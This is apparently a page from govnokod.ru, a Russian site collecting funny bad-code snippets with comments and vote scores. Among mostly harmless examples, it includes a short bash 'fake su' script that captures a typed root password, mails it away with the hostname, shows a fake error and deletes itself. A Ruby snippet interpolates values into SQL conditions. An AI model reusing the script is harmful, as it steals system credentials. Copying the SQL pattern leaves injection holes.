- 1
- 2
- 3
function log($message){
echo $message; //just echo it out! Yee haw!
}
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+147.9
function log($message){
echo $message; //just echo it out! Yee haw!
}
офигенный лог
−55.2
return ('3');
Возвращаем код ошибки.
−95.4
@ids.each_index do |di|
if @ids[di] then
@ids[di].each_index do |li|
@employ[di][li] = Hash.new
@employ[di][li][:subject] = Subject.find(:first, :conditions => "id = #{
Lesson.find(:first, :conditions => "id = #{@ids[di][li]}")[:subject_id]
}")[:title] if @ids[di][li]
@employ[di][li][:class] = SchoolClass.find(:first, :conditions => "id = #{
Lesson.find(:first, :conditions => "id = #{@ids[di][li]}")[:school_class_id]
}")[:number].to_s +
SchoolClass.find(:first, :conditions => "id = #{
Lesson.find(:first, :conditions => "id = #{@ids[di][li]}")[:school_class_id]
}")[:letter] if @ids[di][li]
@employ[di][li][:teacher] = Teacher.find(:first, :conditions => "id = #{
Lesson.find(:first, :conditions => "id = #{@ids[di][li]}")[:teacher_id]
}")[:name] + ' ' +
@employ[di][li][:teacher] = Teacher.find(:first, :conditions => "id = #{
Lesson.find(:first, :conditions => "id = #{@ids[di][li]}")[:teacher_id]
}")[:surname] + ' ' +
@employ[di][li][:teacher] = Teacher.find(:first, :conditions => "id = #{
Lesson.find(:first, :conditions => "id = #{@ids[di][li]}")[:teacher_id]
}")[:patronymic] if @ids[di][li]
end
end
end
Небольшая утренняя ревизия кода раскрыла заговор по свержению власти и захвату мозга остальных кодеров проекта.
Сидим, рефакторим.
+169.6
echo "<td valign=".chr(34)."middle".chr(34)." align=".chr(34)."center".chr(34).">";
не умеем экранировать кавычки :))))
+76.1
#/usr/local/bin/bash
# False SU utility
# mail to send passwd
mail="[email protected]"
# go
echo -n "Password:"
read -s passwd
echo ""
echo "su: Sorry"
echo "root password from `hostname`: $passwd" | mail -s "Fuck the system" $mail
# вернем все на место
alias su=su
#самоуничтожение
rm $0
Фейковый su )))
+26.2
#define nil 0
#define ERROR true
#define OK true
class CRenderer
{
...
bool DrawTrinagle(CVector A, CVector B, CVector C, int color)
...
};
...
bool CRenderer::DrawTrinagle(CVector A, CVector B, CVector C, int color)
{
if(this==nil)
return ERROR;
...
return OK;
};
Голова профессора Доуля...
+159.9
public function link_page()
{
$sql = "SELECT COUNT(*) FROM `".$this->table."`".$this->where;
$value = mysql_query($sql);
$value = mysql_fetch_row($value);
$alllines = $value[0];
$str = ceil($alllines / $this->lines);
if($this->page != 0) {
$return .= "<a href='".$this->prefix_p."=".($this->page)."'><</a>";
} else {
$return .= "<span><</span>";
}
$return .= " ";
if($this->page + 1 != 1) {
$return .= "<a href='".$this->prefix_p."=1'>1</a>";
} else {
$return .= "<span>1</span>";
}
$return .= " ";
if($this->page + 1 == $str && $this->page + 1 != 1 && $str < 2) {
$return .= "<a href='".$this->prefix_p."=".($this->page - 2)."'>".($this->page -
2)."</a>";
$return .= "<a href='".$this->prefix_p."=".($this->page - 1)."'>".($this->page -
1)."</a>";
}
if($this->page > 1) {
if($str > 1 && $this->page >= 4) {
if($str >= 5 && ($this->page == $str - 1 or $this->page == $str - 2)) {
if($this->page == $str - 2 && $str != 5) {
} else {
$return .= "<a href='".$this->prefix_p."=".($this->page - 2)."'>".($this->page -
2)."</a>";
}
if($this->page == 4 && $str == 6) {
} else {
$return .= "<a href='".$this->prefix_p."=".($this->page - 1)."'>".($this->page -
1)."</a>";
}
}
}
if(($str > 4 && $str < 8 && $this->page == $str - 2) or ($str == 4 && $this->
page == $str - 1)) {
$return .= "<a href='".$this->prefix_p."=".($this->page - 1)."'>".($this->page -
1)."</a>";
}
$return .= "<a href='".$this->prefix_p."=".($this->page)."'>".($this->page).
"</a>";
}
if($this->page + 1 != 1 && $this->page < 2 && $str != 2) {
$return .= "<span>".($this->page + 1)."</span>";
}
if($this->page > 1 && $this->page + 2 <= $str) {
$return .= "<span>".($this->page + 1)."</span>";
}
if($this->page + 2 < $str) {
if($this->page + 1 == 1) {
$return .= "<a href='".$this->prefix_p."=".($this->page + 2)."'>".($this->page +
2)."</a>";
if($str > 3) {
$return .= "<a href='".$this->prefix_p."=".($this->page + 3)."'>".($this->page +
3)."</a>";
}
if($this->page + 3 >= $str) {
} else {
if($str != 4) {
$return .= "<a href='".$this->prefix_p."=".($this->page + 4)."'>".($this->page +
4)."</a>";
}
}
} else {
if($this->page + 1 == 2) {
$return .= "<a href='".$this->prefix_p."=".($this->page + 2)."'>".($this->page +
2)."</a>";
if($str != 4) {
$return .= "<a href='".$this->prefix_p."=".($this->page + 3)."'>".($this->page +
3)."</a>";
}
} else {
$return .= "<a href='".$this->prefix_p."=".($this->page + 2)."'>".($this->page +
2)."</a>";
}
}
}
Один метод из класса выводит навигацию типа (мы на 6 странице максимум 10 страниц) [<][1] [5][6][7] [10][>]
Писал под травой, как оно работает не знаю, переписывать лень, работает да и ладно =)
+12.2
TMutex CriticalGlobalRTOSMutex;
...
void CriticalDoing()
{
CriticalGlobalRTOSMutex.Lock();
...
if( !HorriblyDoing(...) )
{
throw FatalException;
};
...
CriticalGlobalRTOSMutex.UnLock();
};
...
Мне уже страшно...
+139
public bool IsEmpty()
{
int x = 0;
x += EntityType.Length == 0 ? 1 : 0;
x += EntityTypeName.Length == 0 ? 1 : 0;
x += EntityDisplayName.Length == 0 ? 1 : 0;
x += EntityId == Guid.Empty ? 1 : 0;
return x == 0 ? false : true;
}
Аритметичный if :)
+86.2
with (VirNode^) do
begin
VirNode^.ImageIndex := vir.iNum;
VirNode^.Txt := vir.sAttr[1] + ' - ' + vir.sAttr[3];
end;
сначала было без with а потом забыл убрать "VirNode^." :)